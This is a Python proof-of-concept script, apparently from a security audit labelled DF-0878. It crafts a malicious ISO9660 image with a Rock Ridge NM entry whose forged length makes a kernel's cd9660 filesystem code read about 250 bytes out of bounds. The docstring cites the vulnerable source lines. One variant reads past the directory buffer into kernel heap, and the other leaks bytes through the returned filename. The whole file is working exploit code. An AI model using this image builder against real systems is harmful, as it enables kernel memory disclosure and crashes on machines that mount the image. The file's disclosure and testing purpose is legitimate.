DF-0878 / craft_iso.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 | #!/usr/bin/env python3 """ DF-0878 — Craft a minimal ISO9660 image with a malicious Rock Ridge "SUSP" NM (Alternate Name) entry whose declared `length` (255) grossly exceeds the actual System Use space available in its directory record, positioned as the LAST record of the root directory block so the NM handler's bcopy reads past the 2048-byte directory buffer into adjacent kernel memory. The crafted record exercises the bug at: sys/vfs/isofs/cd9660/cd9660_rrip.c:509 while(pend>=phead+1) [header-only check] sys/vfs/isofs/cd9660/cd9660_rrip.c:515 ptable->func(phead,ana) [NO upper-bound check] sys/vfs/isofs/cd9660/cd9660_rrip.c:258 wlen=h.length-5 sys/vfs/isofs/cd9660/cd9660_rrip.c:276 bcopy(inbuf,outbuf,wlen) [250-byte OOB read] Layout (2048-byte sectors): 0..15 System Area (zero) 16 Primary Volume Descriptor (PVD) 17 Volume Descriptor Set Terminator 18 L-type Path Table 19 Root directory extent (1 block) <- malicious NM record at the END 20 File data (empty block) <- extents point here """ import struct, sys BSIZE = 2048 def u711(v): # 1-byte return bytes([v & 0xff]) def u723(v): # 2-byte LE + 2-byte BE return struct.pack('<H', v) + struct.pack('>H', v) def u731(v): # 4-byte LE return struct.pack('<I', v) def u732(v): # 4-byte BE return struct.pack('>I', v) def u733(v): # 4-byte LE + 4-byte BE return struct.pack('<I', v) + struct.pack('>I', v) def pad(b, n, ch=b'\x00'): return b + ch * (n - len(b)) def asciiid(s, n): s = s.encode('ascii') if isinstance(s, str) else s return pad(s, n, b' ') def dirdate(): # years-since-1900, month, day, hour, min, sec, gmtoff(15min units) return bytes([126, 7, 1, 0, 0, 0, 0]) def dir_record(name_bytes, extent, size, flags, su=b'', is_dot=False): """Build one ISO9660 directory record. name_bytes already raw.""" name_len = len(name_bytes) fix = u711(0) # ext_attr_length fix += u733(extent) # extent location fix += u733(size) # data length fix += dirdate() # 7 bytes fix += u711(flags) # file flags fix += u711(0) # file unit size fix += u711(0) # interleave gap fix += u723(1) # volume sequence number fix += u711(name_len) body = name_bytes # padding: if name_len is even, add 1 pad byte (so SU starts even-ish) # NOTE: for '.'/'..' the name is a single byte (\x00 or \x01), name_len=1 (odd) -> no pad if name_len % 2 == 0: body += b'\x00' rec_no_len = fix + body + su total = len(rec_no_len) + 1 # +1 for the length byte itself return u711(total) + rec_no_len def susp(typ, version, payload): """Build a SUSP entry: type[2] + length[1] + version[1] + payload.""" length = 4 + len(payload) return typ.encode('ascii') + bytes([length, version]) + payload def susp_er(ext_id=b'IEEE_P1282', ext_des=b'', ext_src=b''): """ER (Extension Reference) entry. cd9660_rrip_offset REQUIRES an ER with len_id==10 and ext_id IEEE_P1282/RRIP_1991A (cd9660_rrip.c:460).""" payload = bytes([len(ext_id), len(ext_des), len(ext_src), 1]) + ext_id + ext_des + ext_src return susp('ER', 1, payload) def build_iso(variant="boundary"): """ variant='boundary' : malicious record fills to byte 2048 -> NM reads ~220 bytes PAST the 2048-byte directory buffer (kernel heap / possible page fault). variant='early' : malicious record sits right after '..'; the rest of the block is a sentinel fill (0xCC). NM reads 247 bytes past the record boundary into the sentinel -> emitted filename is 'ZZZ'+sentinel, proving the in-kernel OOB read reliably (no panic). """ # ---- directory block (sector 19) ---- ROOT_EXTENT = 19 FILE_EXTENT = 20 dot = dir_record(b'\x00', ROOT_EXTENT, BSIZE, flags=0x02, su= susp('SP', 1, bytes([0xbe, 0xef, 0x00])) + # skip=0 susp_er()) # ER IEEE_P1282 dotdot = dir_record(b'\x01', ROOT_EXTENT, BSIZE, flags=0x02) # malicious record: file 'Z', NM entry claiming length 255. # in_record_name bytes chosen so boundary variant leaves no zero-gap. # dot is now 59B (SP+ER), dotdot 34B -> used=93. # boundary: 93 + n_pad*34 + (39+k) == 2048 => k==12 (n_pad=56) # early: sentinel fill, k arbitrary (3) k = 12 if variant == "boundary" else 3 nm_name = b'Z' * k nm_su = susp('NM', 1, bytes([0x00]) + nm_name) # flags=0 + k name bytes nm_su = nm_su[0:2] + bytes([255]) + nm_su[3:] # forge length -> 255 assert nm_su[2] == 255 malicious = dir_record(b'Z', FILE_EXTENT, BSIZE, flags=0x00, su=nm_su) block = b'' block += dot + dotdot read_start_global = None if variant == "early": # malicious record right after '..'; one zero byte (record-list # terminator so readdir stops cleanly), then 0xCC sentinel fill. # The NM handler reads 250 bytes from inside the record, sweeping # past the terminator into the 0xCC sentinel -> the leaked bytes # appear in the returned filename. block += malicious mal_off = len(dot) + len(dotdot) su_off = mal_off + 34 block += b'\x00' # clean record-list terminator block += b'\xcc' * (BSIZE - len(block)) read_start_global = su_off + 5 oob_past_record = (read_start_global + 250) - (mal_off + len(malicious)) print(f"[craft:{variant}] malicious record at offset {mal_off} " f"(len {len(malicious)}), NM at {su_off}, NM.length=255 -> " f"reads 250 bytes from {read_start_global}; {oob_past_record} " f"bytes past the record boundary into the 0xCC sentinel fill " f"(in-buffer OOB, no panic)") else: # padding records then malicious at the very end (ends at 2048) padrec = dir_record(b'P', FILE_EXTENT, BSIZE, flags=0x00) assert len(padrec) == 34 remaining = BSIZE - len(dot) - len(dotdot) - len(malicious) n_pad = remaining // len(padrec) leftover = remaining - n_pad * len(padrec) block += padrec * n_pad need = BSIZE - len(block) - len(malicious) if need >= 34: filler_name = b'F' * (need - 34) filler = dir_record(filler_name, FILE_EXTENT, BSIZE, flags=0x00) assert len(filler) == need block += filler else: block += b'\x00' * need block += malicious mal_off = BSIZE - len(malicious) su_off = mal_off + 34 read_start_global = su_off + 5 oob_past_buf = (read_start_global + 250) - BSIZE print(f"[craft:{variant}] malicious record at offset {mal_off} " f"(len {len(malicious)}), NM at {su_off}, NM.length=255 -> " f"reads 250 bytes from {read_start_global}; {oob_past_buf} " f"bytes read PAST the 2048-byte directory buffer into kernel heap") assert len(block) == BSIZE, len(block) dirblock = block # ---- path table (sector 18) ---- # one entry: root directory pt = b'\x01' # length of directory identifier (1) pt += b'\x00' # extended attribute length pt += u731(ROOT_EXTENT) # location of extent (L-type LE) pt += u731(1) # directory number of parent (root=1) pt += b'\x00' # directory identifier ('.' -> 0x00 for root) pt += b'\x00' # padding (len is odd=1 -> 1 pad byte) pt_size = len(pt) pathtable_L = pad(pt, BSIZE, b'\x00') pathtable_M = pad(pt.replace(u731(ROOT_EXTENT), u732(ROOT_EXTENT)) .replace(u731(1), u732(1)), BSIZE, b'\x00') # ---- PVD (sector 16) ---- pvd = bytearray(BSIZE) pvd[0] = 1 # type = PVD pvd[1:6] = b'CD001' pvd[6] = 1 # version pvd[8:40] = asciiid('DF0878SYS', 32) pvd[40:72] = asciiid('DF0878', 32) pvd[80:88] = u733(21) # volume space size (sectors) pvd[120:124] = u723(1) # volume set size pvd[124:128] = u723(1) # volume sequence number pvd[128:132] = u723(BSIZE) # logical block size pvd[132:140] = u733(pt_size) # path table size pvd[140:144] = u731(18) # L path table location pvd[144:148] = u731(0) # optional L (none) pvd[148:152] = u732(0) # M path table location (none/ignored) pvd[152:156] = u732(0) # optional M (none) # root directory record (34 bytes) at offset 156 rootrec = dir_record(b'\x00', ROOT_EXTENT, BSIZE, flags=0x02) pvd[156:156+len(rootrec)] = rootrec pvd[190:318] = asciiid('', 128) # volume set id pvd[318:446] = asciiid('DF0878AUDIT', 128) # publisher pvd[446:574] = asciiid('POC', 128) # preparer pvd[574:702] = asciiid('DF0878', 128) # application pvd[882] = 1 # file structure version pvd = bytes(pvd) # ---- VD set terminator (sector 17) ---- vdst = bytearray(BSIZE) vdst[0] = 255 vdst[1:6] = b'CD001' vdst[6] = 1 vdst = bytes(vdst) # ---- assemble image ---- img = bytearray() img += b'\x00' * (BSIZE * 16) # system area img += pvd img += vdst img += pathtable_L img += dirblock img += b'\x00' * BSIZE # file data block (sector 20) assert len(img) == BSIZE * 21 return bytes(img) if __name__ == '__main__': variant = 'boundary' out = 'df0878.iso' for a in sys.argv[1:]: if a == '--early': variant = 'early' elif a == '--boundary': variant = 'boundary' else: out = a data = build_iso(variant) with open(out, 'wb') as f: f.write(data) print(f"[craft] variant={variant} wrote {out} ({len(data)} bytes)") |